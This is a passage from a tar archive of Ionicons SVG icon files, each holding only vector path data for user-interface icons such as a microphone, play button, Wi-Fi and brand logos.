13 13 13s13-5.8 13-13V352h-26v115z"/></svg>ionicons/svg/ios-mic-off.svg000064400000001375151701353760012033 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M369.8 464c-4.9 0-9.7-2.5-12.3-7L129.9 69.3c-4-6.7-1.7-15.4 5.1-19.3 6.8-3.9 15.5-1.7 19.5 5.1l227.6 387.7c4 6.7 1.7 15.4-5.1 19.3-2.3 1.3-4.8 1.9-7.2 1.9zM320 272V112c0-35.2-28.8-64-64-64-28.4 0-52.6 18.8-60.9 44.5L315 296.8c3.2-7.6 5-16 5-24.8zM192 272c0 35.2 28.8 64 64 64 3.9 0 7.6-.4 11.3-1L192 206.6V272zM366 275v-69c0-7.7-6.3-14-14-14s-14 6.3-14 14v69c0 15.2-4.2 29.4-11.4 41.6l15.6 26.6c14.9-18.7 23.8-42.4 23.8-68.2z"/><path d="M256 357c-45.2 0-82-36.8-82-82v-69c0-7.7-6.3-14-14-14s-14 6.3-14 14v69c0 55.9 41.9 102.2 96 109.1V436h-36c-7.7 0-14 6.3-14 14s6.3 14 14 14h100c7.7 0 14-6.3 14-14s-6.3-14-14-14h-36v-51.9c7.9-1 15.6-2.9 22.9-5.5l-14.5-24.8c-7.1 2.1-14.6 3.2-22.4 3.2z"/></svg>ionicons/svg/ios-play.svg000064400000000301151701353760011444 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M128 104.3v303.4c0 6.4 6.5 10.4 11.7 7.2l240.5-151.7c5.1-3.2 5.1-11.1 0-14.3L139.7 97.2c-5.2-3.3-11.7.7-11.7 7.1z"/></svg>ionicons/svg/md-headset.svg000064400000000434151701353760011731 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C150 48 64 136.2 64 245.1v153.3c0 36.3 28.6 65.7 64 65.7h64V288h-85.3v-42.9c0-84.7 66.8-153.3 149.3-153.3s149.3 68.5 149.3 153.3V288H320v176h64c35.4 0 64-29.3 64-65.7V245.1C448 136.2 362 48 256 48z"/></svg>ionicons/svg/ios-move.svg000064400000001537151701353760011461 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M475.9 246.2l-79.4-79.4c-5.4-5.4-14.2-5.4-19.6 0l-.2.2c-5.4 5.4-5.4 14.2 0 19.6l54.9 54.9-161.8.5.5-161.8 54.9 54.9c5.4 5.4 14.2 5.4 19.6 0l.2-.2c5.4-5.4 5.4-14.2 0-19.6l-79.4-79.4c-5.4-5.4-14.2-5.4-19.6 0l-79.4 79.4c-5.4 5.4-5.4 14.2 0 19.6l.2.2c5.4 5.4 14.2 5.4 19.6 0l54.9-54.9.5 161.8-161.8-.5 54.9-54.9c5.4-5.4 5.4-14.2 0-19.6l-.2-.2c-5.4-5.4-14.2-5.4-19.6 0l-79.4 79.4c-5.4 5.4-5.4 14.2 0 19.6l79.4 79.4c5.4 5.4 14.2 5.4 19.6 0l.2-.2c5.4-5.4 5.4-14.2 0-19.6L80 270.5l161.8-.5-.5 161.8-54.9-54.9c-5.4-5.4-14.2-5.4-19.6 0l-.2.2c-5.4 5.4-5.4 14.2 0 19.6l79.4 79.4c5.4 5.4 14.2 5.4 19.6 0l79.4-79.4c5.4-5.4 5.4-14.2 0-19.6l-.2-.2c-5.4-5.4-14.2-5.4-19.6 0l-54.9 54.9-.5-161.8 161.8.5-54.9 54.9c-5.4 5.4-5.4 14.2 0 19.6l.2.2c5.4 5.4 14.2 5.4 19.6 0l79.4-79.4c5.5-5.4 5.5-14.2 0-19.6z"/></svg>ionicons/svg/logo-yahoo.svg000064400000000414151701353760011771 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M384.6 68.4c-11.3 0-22.5-.8-32.6-4.4l-96 160-96-160c-10.1 3.6-20.7 4.4-32 4.4-11.1 0-22.1-.9-32-4.4l128 212.7V448c10-3.5 20.8-4.4 32-4.4s22 .9 32 4.4V277L416 64c-9.9 3.4-20.3 4.4-31.4 4.4z"/></svg>ionicons/svg/ios-stopwatch.svg000064400000001316151701353760012522 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M415.9 143.7c3.1 3.1 8.2 3.1 11.3 0l11.3-11.3c3.1-3.1 3.1-8.2 0-11.3L413 95.6c-3.1-3.1-8.2-3.1-11.3 0l-11.3 11.3c-3.1 3.1-3.1 8.2 0 11.3l25.5 25.5zM84.8 143.7c3.1 3.1 8.2 3.1 11.3 0l25.5-25.5c3.1-3.1 3.1-8.2 0-11.3l-11.3-11.3c-3.1-3.1-8.2-3.1-11.3 0L73.5 121c-3.1 3.1-3.1 8.2 0 11.3l11.3 11.4z"/><path d="M280 81.5V64c0-8.8-7.2-16-16-16h-16c-8.8 0-16 7.2-16 16v17.5C137.3 93.3 64 174.1 64 272c0 106 86 192 192 192s192-86 192-192c0-97.9-73.3-178.7-168-190.5zm-10 219.3V320c0 7.7-6.3 14-14 14s-14-6.3-14-14v-19.2c-10.7-5.2-18-16.1-18-28.8s7.3-23.6 18-28.8V144c0-7.7 6.3-14 14-14s14 6.3 14 14v99.2c10.7 5.2 18 16.1 18 28.8s-7.3 23.6-18 28.8z"/></svg>ionicons/svg/md-cloud-outline.svg000064400000000723151701353760013100 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M403.001 217.001C388.997 148.002 328.998 96 256 96c-57.998 0-107.999 32.998-132.997 81C63.002 183.002 16 233.998 16 296c0 65.996 54.004 120 120 120h260c55 0 100-45 100-100.001 0-52.997-40.997-95.999-92.999-98.998zM396 376H136c-44.004 0-80-35.996-80-80 0-44 35.996-80 80-80h14.004c12.998-46 55-80 105.996-80 60.996 0 110 49 110 110v10h30c32.998 0 60 27.003 60 60 0 32.998-27.002 60-60 60z"/></svg>ionicons/svg/logo-octocat.svg000064400000002760151701353760012314 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M178.4 287.5c-9.1 0-16.9 4.2-23.2 12.8-6.3 8.5-9.4 19-9.4 31.4 0 12.5 3.2 23 9.4 31.5 6.3 8.5 14 12.8 23.2 12.8 8.5 0 15.9-4.3 22.1-12.8 6.3-8.5 9.4-19 9.4-31.5 0-12.4-3.2-22.9-9.4-31.4-6.3-8.6-13.6-12.8-22.1-12.8zM334.7 287.5c-9 0-16.9 4.2-23.2 12.8-6.3 8.5-9.4 19-9.4 31.4 0 12.5 3.2 23 9.4 31.5 6.3 8.5 14.1 12.8 23.2 12.8 8.5 0 15.9-4.3 22.2-12.8 6.3-8.5 9.4-19 9.4-31.5 0-12.4-3.2-22.9-9.4-31.4-6.3-8.6-13.6-12.8-22.2-12.8z"/><path d="M445.8 172c-.1 0 2.7-14.3.3-39.2-2.2-24.9-7.5-47.8-16.1-68.8 0 0-4.4.8-12.8 2.9s-22.1 6.3-40.9 14.8c-18.5 8.5-38 19.8-58.3 33.5-13.8-3.9-34.4-5.9-62-5.9-26.3 0-46.9 2-62 5.9-44.6-30.9-81.9-48-112.1-51.2-8.6 21-13.9 44-16 69-2.4 24.9.4 39.3.4 39.3C42 198.6 32 236.5 32 267.8c0 24.2.7 46.1 6.1 65.5 5.6 19.3 12.7 35.1 21.1 47.2 8.6 12.1 19 22.8 31.6 31.9 12.5 9.3 24 16 34.4 20.2 10.5 4.4 22.4 7.6 36 9.9 13.3 2.4 23.4 3.6 30.5 4 0 0 28 1.5 64.4 1.5s64.3-1.5 64.3-1.5c7-.4 17.1-1.6 30.5-4 13.5-2.3 25.5-5.6 35.9-9.9 10.4-4.3 21.9-10.9 34.5-20.2 12.5-9 22.9-19.7 31.5-31.9 8.4-12.1 15.5-27.9 21.1-47.2 5.5-19.4 6.1-41.4 6.1-65.6 0-30.3-10-68.7-34.2-95.7zm-65.4 233.6c-27.9 13.1-68.9 18.4-123.3 18.4H255c-54.4 0-95.4-5.2-122.8-18.4-27.5-13.1-41.3-40.1-41.3-80.7 0-24.3 8.6-44 25.5-59.1 7.4-6.5 16.4-11 27.6-13.7 11.1-2.6 21.4-2.8 31-2.5 9.4.4 22.6 2.2 39.3 3.5 16.8 1.3 29.3 3 41.8 3 11.7 0 27.2-2 52.1-4 25-2 43.5-3 55.5-1 12.3 2 23 6.2 32.1 14.7 17.7 15.8 26.6 35.5 26.6 59.1-.1 40.6-14.2 67.6-42 80.7z"/></svg>ionicons/svg/ios-pause.svg000064400000000446151701353760011626 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M199.9 416h-63.8c-4.5 0-8.1-3.6-8.1-8V104c0-4.4 3.6-8 8.1-8h63.8c4.5 0 8.1 3.6 8.1 8v304c0 4.4-3.6 8-8.1 8zM375.9 416h-63.8c-4.5 0-8.1-3.6-8.1-8V104c0-4.4 3.6-8 8.1-8h63.8c4.5 0 8.1 3.6 8.1 8v304c0 4.4-3.6 8-8.1 8z"/></svg>ionicons/svg/ios-bookmark.svg000064400000000340151701353760012307 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M128 80v380c0 3.3 3.8 5.2 6.4 3.2l116.8-92c2.9-2.1 6.8-2.1 9.6 0l116.8 92c2.6 2 6.4.1 6.4-3.2V80c0-17.7-14.3-32-32-32H160c-17.7 0-32 14.3-32 32z"/></svg>ionicons/svg/ios-resize.svg000064400000000651151701353760012010 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M418.3 80H307.8c-7.5 0-13.7 6.1-13.7 13.7v.2c0 7.5 6.1 13.7 13.7 13.7h76.5L107.6 384.3v-76.5c0-7.5-6.1-13.7-13.7-13.7h-.2c-7.5 0-13.7 6.1-13.7 13.7v110.5c0 7.5 6.1 13.7 13.7 13.7h110.5c7.5 0 13.7-6.1 13.7-13.7v-.2c0-7.5-6.1-13.7-13.7-13.7h-76.5l276.7-276.7v76.5c0 7.5 6.1 13.7 13.7 13.7h.2c7.5 0 13.7-6.1 13.7-13.7V93.7c0-7.6-6.1-13.7-13.7-13.7z"/></svg>ionicons/svg/md-pin.svg000064400000000505151701353760011101 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 32c-88.004 0-160 70.557-160 156.801C96 306.4 256 480 256 480s160-173.6 160-291.199C416 102.557 344.004 32 256 32zm0 212.801c-31.996 0-57.144-24.645-57.144-56 0-31.357 25.147-56 57.144-56s57.144 24.643 57.144 56c0 31.355-25.148 56-57.144 56z"/></svg>ionicons/svg/md-infinite.svg000064400000001433151701353760012121 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M434.7 188c-18.8-18-43.8-28-70.5-28-26.6 0-51.6 9.9-70.4 27.9l-17.6 15.9 33.1 32.1 17-15.4.1-.1c10.1-9.6 23.5-15 37.7-15 14.2 0 27.6 5.3 37.7 14.9 10 9.6 15.4 22.3 15.4 35.8 0 13.5-5.5 26.1-15.4 35.6-10.1 9.6-23.5 15-37.7 15s-27.6-5.3-37.7-14.9L218.2 188c-18.9-18-43.9-28-70.4-28-26.7 0-51.7 9.9-70.5 28C58.4 206.1 48 230.2 48 256c0 25.7 10.4 49.9 29.3 68 18.8 18 43.8 28 70.5 28 26.7 0 51.7-9.9 70.4-28l37.8-36.1 37.7 36.1c18.9 18 43.9 28 70.4 28 26.7 0 51.7-9.9 70.4-27.9 19-18.1 29.4-42.2 29.4-68 .1-25.8-10.3-50-29.2-68.1zM185.5 291.7c-10.1 9.6-23.5 15-37.7 15-14.2 0-27.6-5.3-37.7-14.9-10-9.6-15.4-22.3-15.4-35.8 0-13.5 5.5-26.1 15.4-35.6 10.1-9.6 23.5-15 37.7-15 14.2 0 27.6 5.3 37.7 14.9l37.4 35.8-37.4 35.6z"/></svg>ionicons/svg/logo-xing.svg000064400000000476151701353760011627 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M313.8 303.9L469 32H365L209.4 303.8c-.4.7-.4 1.1 0 1.7l98.9 173.8c.4.7.8.7 1.6.7H413l-99.3-174.7c-.2-.3-.1-1 .1-1.4zM221.9 216.2L163 113c-.5-.8-1-1-2-1H65l58.9 104.4c.1.2.2.6.1.8L43 352h96.8c.8 0 1.2-.2 1.6-.9l80.5-133.7c.1-.3.1-.9 0-1.2z"/></svg>ionicons/svg/md-cube.svg000064400000001305151701353760011230 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M467.3 168.1c-1.8 0-3.5.3-5.1 1l-177.6 92.1h-.1c-7.6 4.7-12.5 12.5-12.5 21.4v185.9c0 6.4 5.6 11.5 12.7 11.5 2.2 0 4.3-.5 6.1-1.4.2-.1.4-.2.5-.3L466 385.6l.3-.1c8.2-4.5 13.7-12.7 13.7-22.1V179.6c0-6.4-5.7-11.5-12.7-11.5zM454.3 118.5L272.6 36.8S261.9 32 256 32c-5.9 0-16.5 4.8-16.5 4.8L57.6 118.5s-8 3.3-8 9.5c0 6.6 8.3 11.5 8.3 11.5l185.5 97.8c3.8 1.7 8.1 2.6 12.6 2.6 4.6 0 8.9-1 12.7-2.7l185.4-97.9s7.5-4 7.5-11.5c.1-6.3-7.3-9.3-7.3-9.3zM227.5 261.2L49.8 169c-1.5-.6-3.3-1-5.1-1-7 0-12.7 5.1-12.7 11.5v183.8c0 9.4 5.5 17.6 13.7 22.1l.2.1 174.7 92.7c1.9 1.1 4.2 1.7 6.6 1.7 7 0 12.7-5.2 12.7-11.5V282.6c.1-8.9-4.9-16.8-12.4-21.4z"/></svg>ionicons/svg/md-cellular.svg000064400000000146151701353760012117 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M64 448h384V64L64 448z"/></svg>ionicons/svg/md-wifi.svg000064400000001614151701353760011253 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 228.719c-22.879 0-41.597 18.529-41.597 41.18 0 22.652 18.718 41.182 41.597 41.182 22.878 0 41.597-18.529 41.597-41.182 0-22.651-18.719-41.18-41.597-41.18zm124.8 41.179c0-67.946-56.163-123.539-124.8-123.539s-124.8 55.593-124.8 123.539c0 45.303 24.961 85.447 62.396 107.072l20.807-36.032c-24.972-14.417-41.604-40.153-41.604-71.04 0-45.295 37.433-82.358 83.201-82.358 45.771 0 83.201 37.063 83.201 82.358 0 30.887-16.633 56.623-41.604 71.04l20.807 36.032c37.433-21.624 62.396-61.769 62.396-107.072zM256 64C141.597 64 48 156.654 48 269.898 48 346.085 89.592 411.968 152 448l20.799-36.032c-49.919-28.824-83.207-81.324-83.207-142.069 0-90.593 74.891-164.718 166.408-164.718 91.517 0 166.406 74.125 166.406 164.718 0 60.745-33.284 114.271-83.205 142.069L360 448c62.406-36.032 104-101.915 104-178.102C464 156.654 370.403 64 256 64z"/></svg>ionicons/svg/md-arrow-up.svg000064400000000263151701353760012070 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M277.375 427V167.296l119.702 119.702L427 256 256 85 85 256l29.924 29.922 119.701-118.626V427h42.75z"/></svg>ionicons/svg/md-build.svg000064400000000475151701353760011420 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M474.1 398.2L289.1 212c18.3-47 8.1-102.3-30.5-141.1C217.9 30 156.9 21.8 108.1 44.3l87.4 88-61 61.4-89.5-88c-24.3 49-14.1 110.4 26.5 151.3 38.6 38.9 93.5 49.1 140.3 30.7l185 186.2c8.1 8.2 20.3 8.2 28.5 0l46.8-47c10.2-8.3 10.2-22.6 2-28.7z"/></svg>ionicons/svg/ios-camera.svg000064400000001133151701353760011733 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><circle cx="256" cy="275" r="57.5"/><path d="M417.5 160H363c-4.6 0-8.9-2-12-5.4-28.4-31.8-39.1-42.6-50.7-42.6h-85.5c-11.7 0-23.2 10.8-51.7 42.7-3 3.4-7.4 5.3-11.9 5.3h-4.1v-8c0-4.4-3.6-8-8-8h-26c-4.4 0-8 3.6-8 8v8h-7.5C79.9 160 64 173.2 64 190.7v176c0 17.5 15.9 33.3 33.5 33.3h320c17.6 0 30.5-15.8 30.5-33.3v-176c0-17.5-12.9-30.7-30.5-30.7zM260 360.4c-50.3 2.3-91.7-39.1-89.4-89.4 2-43.9 37.5-79.4 81.4-81.4 50.3-2.3 91.7 39.1 89.4 89.4-2 43.9-37.5 79.4-81.4 81.4zM352 218c-7.2 0-13-5.8-13-13s5.8-13 13-13 13 5.8 13 13-5.8 13-13 13z"/></svg>ionicons/svg/ios-mail.svg000064400000001253151701353760011430 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M460.6 147.3L353 256.9c-.8.8-.8 2 0 2.8l75.3 80.2c5.1 5.1 5.1 13.3 0 18.4-2.5 2.5-5.9 3.8-9.2 3.8s-6.7-1.3-9.2-3.8l-75-79.9c-.8-.8-2.1-.8-2.9 0L313.7 297c-15.3 15.5-35.6 24.1-57.4 24.2-22.1.1-43.1-9.2-58.6-24.9l-17.6-17.9c-.8-.8-2.1-.8-2.9 0l-75 79.9c-2.5 2.5-5.9 3.8-9.2 3.8s-6.7-1.3-9.2-3.8c-5.1-5.1-5.1-13.3 0-18.4l75.3-80.2c.7-.8.7-2 0-2.8L51.4 147.3c-1.3-1.3-3.4-.4-3.4 1.4V368c0 17.6 14.4 32 32 32h352c17.6 0 32-14.4 32-32V148.7c0-1.8-2.2-2.6-3.4-1.4z"/><path d="M256 295.1c14.8 0 28.7-5.8 39.1-16.4L452 119c-5.5-4.4-12.3-7-19.8-7H79.9c-7.5 0-14.4 2.6-19.8 7L217 278.7c10.3 10.5 24.2 16.4 39 16.4z"/></svg>ionicons/svg/ios-information-circle.svg000064400000000442151701353760014271 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zm19 304h-38.2V207.9H275V352zm-19.1-159.8c-11.3 0-20.5-8.6-20.5-20s9.3-19.9 20.5-19.9c11.4 0 20.7 8.5 20.7 19.9s-9.3 20-20.7 20z"/></svg>ionicons/svg/logo-pinterest.svg000064400000001406151701353760012671 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 32C132.3 32 32 132.3 32 256c0 91.7 55.2 170.5 134.1 205.2-.6-15.6-.1-34.4 3.9-51.4 4.3-18.2 28.8-122.1 28.8-122.1s-7.2-14.3-7.2-35.4c0-33.2 19.2-58 43.2-58 20.4 0 30.2 15.3 30.2 33.6 0 20.5-13.1 51.1-19.8 79.5-5.6 23.8 11.9 43.1 35.4 43.1 42.4 0 71-54.5 71-119.1 0-49.1-33.1-85.8-93.2-85.8-67.9 0-110.3 50.7-110.3 107.3 0 19.5 5.8 33.3 14.8 43.9 4.1 4.9 4.7 6.9 3.2 12.5-1.1 4.1-3.5 14-4.6 18-1.5 5.7-6.1 7.7-11.2 5.6-31.3-12.8-45.9-47-45.9-85.6 0-63.6 53.7-139.9 160.1-139.9 85.5 0 141.8 61.9 141.8 128.3 0 87.9-48.9 153.5-120.9 153.5-24.2 0-46.9-13.1-54.7-27.9 0 0-13 51.6-15.8 61.6-4.7 17.3-14 34.5-22.5 48 20.1 5.9 41.4 9.2 63.5 9.2 123.7 0 224-100.3 224-224C480 132.3 379.7 32 256 32z"/></svg>ionicons/svg/ios-arrow-round-forward.svg000064400000000520151701353760014423 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M295.6 163.7c-5.1 5-5.1 13.3-.1 18.4l60.8 60.9H124.9c-7.1 0-12.9 5.8-12.9 13s5.8 13 12.9 13h231.3l-60.8 60.9c-5 5.1-4.9 13.3.1 18.4 5.1 5 13.2 5 18.3-.1l82.4-83c1.1-1.2 2-2.5 2.7-4.1.7-1.6 1-3.3 1-5 0-3.4-1.3-6.6-3.7-9.1l-82.4-83c-4.9-5.2-13.1-5.3-18.2-.3z"/></svg>ionicons/svg/md-bug.svg000064400000000713151701353760011071 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M448 160h-67.4c-10.8-18.7-25.7-34.8-43.7-47L376 73.8 342.2 40l-52.1 52.1C279 89.4 267.8 88 256 88s-23 1.4-33.8 4.1L169.8 40 136 73.8l38.9 39.1c-17.8 12.2-32.6 28.3-43.4 47H64v48h50.2c-1.2 7.9-2.2 15.8-2.2 24v24H64v48h48v24c0 8.2 1 16.1 2.2 24H64v48h67.4c25 43 71.3 72 124.6 72s99.6-29 124.6-72H448v-48h-50.2c1.2-7.9 2.2-15.8 2.2-24v-24h48v-48h-48v-24c0-8.2-1-16.1-2.2-24H448V160z"/></svg>ionicons/svg/md-redo.svg000064400000000372151701353760011246 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M32 337.2L83.8 352c22.9-69.7 88.7-117.8 166-117.8 42.8 0 81.5 15.7 111.8 41.1L282.5 352H480V160l-79.6 76.3c-40.4-35.2-92.8-56.8-150.7-56.8-101.5.1-187.3 66.2-217.7 157.7z"/></svg>ionicons/svg/ios-speedometer.svg000064400000001762151701353760013027 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 64C132.3 64 32 164.2 32 287.9c0 57 21.3 109 56.3 148.5 1.1 1.2 2.1 2.4 3.2 3.5C96.3 445 103 448 110 448c7.1 0 13.8-3 18.6-8.2 31.6-34.4 77-55.9 127.4-55.9s95.8 21.6 127.4 55.9c4.8 5.2 11.5 8.2 18.6 8.2 7 0 13.7-2.9 18.5-8.1 1.1-1.2 2.1-2.3 3.2-3.5 35-39.5 56.3-91.5 56.3-148.5C480 164.2 379.7 64 256 64zm-14 45.9c0-7.7 6.3-14 14-14s14 6.3 14 14v36c0 7.7-6.3 14-14 14s-14-6.3-14-14v-36zm-128 192H78c-7.7 0-14-6.3-14-14s6.3-14 14-14h36c7.7 0 14 6.3 14 14s-6.3 14-14 14zm51.5-104.5c-5.4 5.4-14.4 5.4-19.8 0L120.2 172c-5.4-5.4-5.4-14.4 0-19.8s14.4-5.4 19.8 0l25.5 25.5c5.4 5.4 5.4 14.3 0 19.7zm160.6 34.5l-47.5 75.5c-1.9 2.6-4.3 5.1-7 7-13.5 9.7-32.3 6.5-42-7s-6.5-32.3 7-42l75.5-47.5c3.4-2.4 8.1-2.5 11.7 0 4.5 3.2 5.5 9.5 2.3 14zm40.2-34.5c-5.4 5.4-14.4 5.4-19.8 0s-5.4-14.4 0-19.8l25.5-25.5c5.4-5.4 14.4-5.4 19.8 0s5.4 14.4 0 19.8l-25.5 25.5zM434 301.9h-36c-7.7 0-14-6.3-14-14s6.3-14 14-14h36c7.7 0 14 6.3 14 14s-6.3 14-14 14z"/></svg>ionicons/svg/md-resize.svg000064400000000247151701353760011617 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M297.6 48l64.9 64.9-249.6 249.6L48 297.6V464h166.4l-64.9-64.9 249.6-249.6 64.9 64.9V48z"/></svg>ionicons/svg/md-code-download.svg000064400000000450151701353760013031 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M234.6 160v125.7l-44.7-43.6L160 272l96 96 96-96-29.9-31-44.7 44.7V160h-42.8z"/><path d="M190.4 354.1L91.9 256l98.4-98.1-30-29.9L32 256l128.4 128 30-29.9zm131.2 0L420 256l-98.4-98.1 30-29.9L480 256 351.6 384l-30-29.9z"/></svg>ionicons/svg/md-sunny.svg000064400000000737151701353760011476 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M277.3 32h-42.7v64h42.7V32zm129.1 43.7L368 114.1l29.9 29.9 38.4-38.4-29.9-29.9zm-300.8 0l-29.9 29.9 38.4 38.4 29.9-29.9-38.4-38.4zM256 128c-70.4 0-128 57.6-128 128s57.6 128 128 128 128-57.6 128-128-57.6-128-128-128zm224 106.7h-64v42.7h64v-42.7zm-384 0H32v42.7h64v-42.7zM397.9 368L368 397.9l38.4 38.4 29.9-29.9-38.4-38.4zm-283.8 0l-38.4 38.4 29.9 29.9 38.4-38.4-29.9-29.9zm163.2 48h-42.7v64h42.7v-64z"/></svg>ionicons/svg/md-git-compare.svg000064400000001264151701353760012525 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M192 382h-22c-24.6 0-29-3.6-33.8-9.6-5.5-6.9-8.2-19.1-8.2-54.2V151.4c19.1-11.1 32-31.7 32-55.4 0-35.3-28.7-64-64-64S32 60.7 32 96c0 23.7 12.9 44.3 32 55.4v166.8c0 46.4 3.7 70.8 22.1 94 19.9 25.1 45 35.8 83.9 35.8h22v64l96-96-96-96v62zM96 56c22.1 0 40 17.9 40 40s-17.9 40-40 40-40-17.9-40-40 17.9-40 40-40zM448 360.6V190.8c0-46.4-3.7-70.8-22.1-94C406 71.7 380.9 62 342 62h-22V0l-96 96 96 96v-64h22c24.6 0 29 2.6 33.8 8.6 5.5 6.9 8.2 19.1 8.2 54.2v169.8c-19.1 11.1-32 31.7-32 55.4 0 35.3 28.7 64 64 64s64-28.7 64-64c0-23.7-12.9-44.3-32-55.4zM416 456c-22.1 0-40-17.9-40-40s17.9-40 40-40 40 17.9 40 40-17.9 40-40 40z"/></svg>ionicons/svg/ios-gift.svg000064400000001147151701353760011441 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M432 136h-84.3c12.4-11 20.3-26.6 20.3-44 0-33.1-28.3-60-63.1-60-20.6 0-37.9 9.7-48.9 27.4C245 41.7 227.7 32 207.1 32 172.3 32 144 58.9 144 92c0 17.4 7.8 33 20.3 44H80c-17.7 0-32 14.3-32 32v20c0 2.2 1.8 4 4 4h408c2.2 0 4-1.8 4-4v-20c0-17.7-14.3-32-32-32zM304.9 60c18.6 0 33.7 14.3 33.7 32s-15.1 32-33.7 32h-33.7c0-48 15.1-64 33.7-64zm-97.8 0c18.6 0 33.7 16 33.7 64h-33.7c-18.6 0-33.7-14.3-33.7-32s15.1-32 33.7-32zM64 226v222c0 17.6 14.4 32 32 32h146V218H72c-4.4 0-8 3.6-8 8zM440 218H270v262h146c17.6 0 32-14.4 32-32V226c0-4.4-3.6-8-8-8z"/></svg>ionicons/svg/ios-navigate.svg000064400000000304151701353760012300 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zm0 336V256H128.3L352 160l-96 224z"/></svg>ionicons/svg/md-locate.svg000064400000001154151701353760011563 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 176c-44.004 0-80.001 36-80.001 80 0 44.004 35.997 80 80.001 80 44.005 0 79.999-35.996 79.999-80 0-44-35.994-80-79.999-80zm190.938 58.667c-9.605-88.531-81.074-160-169.605-169.599V32h-42.666v33.067c-88.531 9.599-160 81.068-169.604 169.599H32v42.667h33.062c9.604 88.531 81.072 160 169.604 169.604V480h42.666v-33.062c88.531-9.604 160-81.073 169.605-169.604H480v-42.667h-33.062zM256 405.333c-82.137 0-149.334-67.198-149.334-149.333 0-82.136 67.197-149.333 149.334-149.333 82.135 0 149.332 67.198 149.332 149.333S338.135 405.333 256 405.333z"/></svg>ionicons/svg/md-document.svg000064400000000323151701353760012127 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M288 48H136c-22.092 0-40 17.908-40 40v336c0 22.092 17.908 40 40 40h240c22.092 0 40-17.908 40-40V176L288 48zm-16 144V80l112 112H272z"/></svg>ionicons/svg/md-radio-button-off.svg000064400000000453151701353760013474 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.601 48 48 141.601 48 256s93.601 208 208 208 208-93.601 208-208S370.399 48 256 48zm0 374.399c-91.518 0-166.399-74.882-166.399-166.399S164.482 89.6 256 89.6 422.4 164.482 422.4 256 347.518 422.399 256 422.399z"/></svg>ionicons/svg/logo-foursquare.svg000064400000001643151701353760013053 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M376.764 32H138.541C105.666 32 96 56.798 96 72.414v379.64c0 17.591 9.425 24.117 14.718 26.267 5.299 2.155 19.916 3.971 28.673-6.168 0 0 112.469-130.895 114.4-132.834 2.921-2.93 2.921-2.93 5.844-2.93h72.767c30.574 0 35.49-21.869 38.684-34.752 2.659-10.789 32.489-163.962 42.452-212.559C421.143 51.993 411.745 32 376.764 32zm-5.678 269.637c2.659-10.789 32.489-163.962 42.452-212.559m-50.846 7.592l-9.999 51.734c-1.195 5.65-8.287 11.595-14.863 11.595h-95.917C231.473 160 224 166.138 224 176.602v13.448c0 10.473 7.519 17.894 17.965 17.894h81.848c7.374 0 14.61 8.109 13.016 16.005-1.602 7.908-9.086 46.569-9.984 50.89-.902 4.328-5.845 11.725-14.611 11.725h-64.269c-11.705 0-15.244 1.533-23.074 11.293-7.837 9.77-78.256 94.592-78.256 94.592-.713.822-1.41.584-1.41-.312V95.896c0-6.684 5.793-14.523 14.479-14.523h191.173c7.035-.001 13.611 6.631 11.815 15.297z"/></svg>ionicons/svg/md-expand.svg000064400000000346151701353760011575 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M396.795 396.8H320V448h128V320h-51.205zM396.8 